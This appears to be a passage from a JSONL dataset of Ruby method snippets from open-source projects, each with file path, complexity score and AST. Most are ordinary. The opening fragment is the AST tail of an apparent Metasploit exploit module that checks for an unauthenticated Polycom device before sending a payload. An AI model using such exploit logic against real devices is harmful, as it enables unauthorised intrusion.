target.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Polycom\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Device has no authentication, excellent!\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"do_payload\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}","id":"9abce527-adf5-444d-95d8-62bea85c3a75"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/defs/test_defs_ae.rb","start_line":9,"raw_source":"def test_ae\n    assert_equal \"New Year's Day\", (Holidays.on(Date.civil(2024, 1, 1), [:ae], [:informal])[0] || {})[:name]\n\n    assert_equal \"Commemoration Day\", (Holidays.on(Date.civil(2024, 12, 1), [:ae], [:informal])[0] || {})[:name]\n\n    assert_equal \"National Day\", (Holidays.on(Date.civil(2024, 12, 2), [:ae], [:informal])[0] || {})[:name]\n\n    assert_equal \"National Day (Day 2)\", (Holidays.on(Date.civil(2024, 12, 3), [:ae], [:informal])[0] || {})[:name]\n\n  end","complexity_score":41.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ae\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"New Year's Day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2024]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"informal\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Commemoration Day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2024]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"informal\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"National Day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2024]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"informal\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"National Day (Day 2)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2024]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ae\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"informal\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"36c416af-2800-47c6-b22f-2674060122c7"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher/bundle_pruner.rb","start_line":87,"raw_source":"def puma_require_paths\n        require_paths_for_gem(spec_for_gem('puma'))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"puma_require_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"require_paths_for_gem\",{\"type\":\"send\",\"children\":[null,\"spec_for_gem\",{\"type\":\"str\",\"children\":[\"puma\"]}]}]}]}","id":"8e8a0c08-2cba-4ada-bc48-d6e44085784f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/accounts_spec.rb","start_line":1164,"raw_source":"def expect_delete_inactive_remote_accounts\n        expect(delete_account_service).to have_received(:call).with(gon, reserve_username: false).once\n        expect(delete_account_service).to have_received(:call).with(tales, reserve_username: false).once\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_delete_inactive_remote_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"delete_account_service\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"gon\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reserve_username\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"once\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"delete_account_service\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"tales\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reserve_username\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"once\"]}]}]}]}","id":"2c3268f3-d065-4b34-8a4b-b85157705751"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/cart/recalculate.rb","start_line":6,"raw_source":"def call(order:, line_item:, line_item_created: false, options: {})\n        order_updater = order.updater\n\n        order.remove_gift_card if order.gift_card.present?\n        order.payments.store_credits.checkout.destroy_all if order.payments.store_credits.checkout.any?\n        order_updater.update_item_count\n        order_updater.update_totals\n        order_updater.persist_totals\n\n        shipment = options[:shipment]\n        if shipment.present?\n          # ADMIN END SHIPMENT RATE FIX\n          # refresh shipments to ensure correct shipment amount is calculated when using price sack calculator\n          # for calculating shipment rates.\n          # Currently shipment rate is calculated on previous order total instead of current order total when updating a shipment from admin end.\n          order.refresh_shipment_rates(::Spree::ShippingMethod::DISPLAY_ON_BACK_END)\n          shipment.update_amounts\n        else\n          order.ensure_updated_shipments\n        end\n\n        ::Spree::PromotionHandler::Cart.new(order, line_item).activate\n        ::Spree::Adjustable::AdjustmentsUpdater.update(line_item)\n        ::Spree::TaxRate.adjust(order, [line_item.reload]) if line_item_created\n        order_updater.update\n        success(line_item)\n      end","complexity_score":37.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]},{\"type\":\"kwarg\",\"children\":[\"line_item\"]},{\"type\":\"kwoptarg\",\"children\":[\"line_item_created\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order_updater\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"updater\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"gift_card\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"remove_gift_card\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"payments\"]},\"store_credits\"]},\"checkout\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"payments\"]},\"store_credits\"]},\"checkout\"]},\"destroy_all\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_updater\"]},\"update_item_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_updater\"]},\"update_totals\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_updater\"]},\"persist_totals\"]},{\"type\":\"lvasgn\",\"children\":[\"shipment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shipment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"refresh_shipment_rates\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spree\"]},\"ShippingMethod\"]},\"DISPLAY_ON_BACK_END\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"update_amounts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"ensure_updated_shipments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spree\"]},\"PromotionHandler\"]},\"Cart\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"line_item\"]}]},\"activate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spree\"]},\"Adjustable\"]},\"AdjustmentsUpdater\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"line_item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item_created\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Spree\"]},\"TaxRate\"]},\"adjust\",{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_item\"]},\"reload\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_updater\"]},\"update\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"lvar\",\"children\":[\"line_item\"]}]}]}]}","id":"d3a4146d-5032-4971-99d4-c72333a1ade9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/mails/member_job.rb","start_line":87,"raw_source":"def send_added_project(current_user, member, member_message)\n    return if sending_disabled?(:added, current_user, member.user_id, member_message)\n\n    MemberMailer\n      .added_project(current_user, member, member_message)\n      .deliver_now\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_added_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"arg\",\"children\":[\"member_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sending_disabled?\",{\"type\":\"sym\",\"children\":[\"added\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"member_message\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MemberMailer\"]},\"added_project\",{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"member_message\"]}]},\"deliver_now\"]}]}]}","id":"722f7da9-d6bf-40b0-b7e5-ac1ba5fb5717"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/apple_backup_manifestdb.rb","start_line":91,"raw_source":"def mbdb_read_string\n    raise RuntimeError, \"Corrupted MBDB file\" if self.mbdb_offset > self.mbdb_data.length\n    len = self.mbdb_data[self.mbdb_offset, 2].unpack(\"n\")[0]\n    self.mbdb_offset += 2\n    return '' if len == 65535\n    val = self.mbdb_data[self.mbdb_offset, len]\n    self.mbdb_offset += len\n    return val\n  end","complexity_score":22.05,"ast_json":"{\"type\":\"def\",\"children\":[\"mbdb_read_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"str\",\"children\":[\"Corrupted MBDB file\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},{\"type\":\"int\",\"children\":[2]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"len\"]},\"==\",{\"type\":\"int\",\"children\":[65535]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mbdb_offset\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"len\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}","id":"919e0c17-54fc-4bbd-9078-06dae9a929b4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/helpers/attachment_renderer.rb","start_line":112,"raw_source":"def set_cache_headers\n        set_cache_headers! if @stream\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cache_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stream\"]},{\"type\":\"send\",\"children\":[null,\"set_cache_headers!\"]},null]}]}","id":"f3badc1b-386d-45a2-927f-06789d466b18"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_setter_call.rb","start_line":109,"raw_source":"def process_multiple_assignment(masgn_node)\n            masgn_node.assignments.each_with_index do |lhs_node, index|\n              next unless ASSIGNMENT_TYPES.include?(lhs_node.type)\n\n              if masgn_node.rhs.array_type? && (rhs_node = masgn_node.rhs.children[index])\n                process_assignment(lhs_node, rhs_node)\n              else\n                @local[lhs_node.name] = true\n              end\n            end\n\n            throw :skip_children\n          end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process_multiple_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"masgn_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masgn_node\"]},\"assignments\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhs_node\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASSIGNMENT_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs_node\"]},\"type\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masgn_node\"]},\"rhs\"]},\"array_type?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rhs_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masgn_node\"]},\"rhs\"]},\"children\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process_assignment\",{\"type\":\"lvar\",\"children\":[\"lhs_node\"]},{\"type\":\"lvar\",\"children\":[\"rhs_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@local\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs_node\"]},\"name\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"skip_children\"]}]}]}]}","id":"b23d098a-d6bf-45de-9a39-5991c3725d53"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb","start_line":71,"raw_source":"def verify_job_log_shows_variable_value\n      Page::Project::Job::Show.perform do |show|\n        show.wait_until { show.successful? }\n        expect(show.output).to have_content(value)\n      end\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_job_log_shows_variable_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Job\"]},\"Show\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"show\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show\"]},\"wait_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show\"]},\"successful?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show\"]},\"output\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_content\",{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}]}]}]}","id":"25d1b32c-7a61-406b-b390-27b5cd42b248"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_pack/shared_serializer_tests.rb","start_line":166,"raw_source":"def load(dumped)\n      serializer.load(dumped)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dumped\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serializer\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"dumped\"]}]}]}","id":"45120040-dae9-4b6f-be6a-4bacd8713a3d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/dns/client.rb","start_line":198,"raw_source":"def process_nameservers\n    if datastore['NS'].blank?\n      nameservers = datastore['DnsClientDefaultNS'].split(/\\s|,/)\n    else\n      nameservers = datastore['NS'].split(/\\s|,/)\n    end\n\n    invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }\n    if !invalid.empty?\n      raise \"Nameservers must be IP addresses. The following were invalid: #{invalid.join(\", \")}\"\n    end\n\n    nameservers\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_nameservers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NS\"]}]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"nameservers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DnsClientDefaultNS\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s|,\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nameservers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NS\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s|,\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"invalid\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nameservers\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"dotted_ip?\",{\"type\":\"lvar\",\"children\":[\"ns\"]}]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nameservers must be IP addresses. The following were invalid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"nameservers\"]}]}]}","id":"87ded3c9-6158-49ef-8c7c-e83d4c213dd0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/builder/has_one.rb","start_line":46,"raw_source":"def self.add_touch_callbacks(model, reflection)\n      name  = reflection.name\n      touch = reflection.options[:touch]\n\n      callback = -> (record) { HasOne.touch_record(record, name, touch) }\n      model.after_create callback, if: :saved_changes?\n      model.after_create_commit { association(name).reset_negative_cache }\n      model.after_update callback, if: :saved_changes?\n      model.after_destroy callback\n      model.after_touch callback\n    end","complexity_score":16.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_touch_callbacks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"touch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"touch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"callback\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HasOne\"]},\"touch_record\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"touch\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"after_create\",{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"sym\",\"children\":[\"saved_changes?\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"after_create_commit\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"reset_negative_cache\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"after_update\",{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"sym\",\"children\":[\"saved_changes?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"after_destroy\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"after_touch\",{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]}]}","id":"bfdcaf9a-d27d-43e6-bfbb-51819c5670c6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/notifications_controller.rb","start_line":15,"raw_source":"def read_all\n    # rubocop:disable Rails/SkipsModelValidations\n    if @primary_actor\n      current_user.notifications.where(account_id: current_account.id, primary_actor: @primary_actor, read_at: nil)\n                  .update_all(read_at: DateTime.now.utc)\n    else\n      current_user.notifications.where(account_id: current_account.id, read_at: nil).update_all(read_at: DateTime.now.utc)\n    end\n    # rubocop:enable Rails/SkipsModelValidations\n    head :ok\n  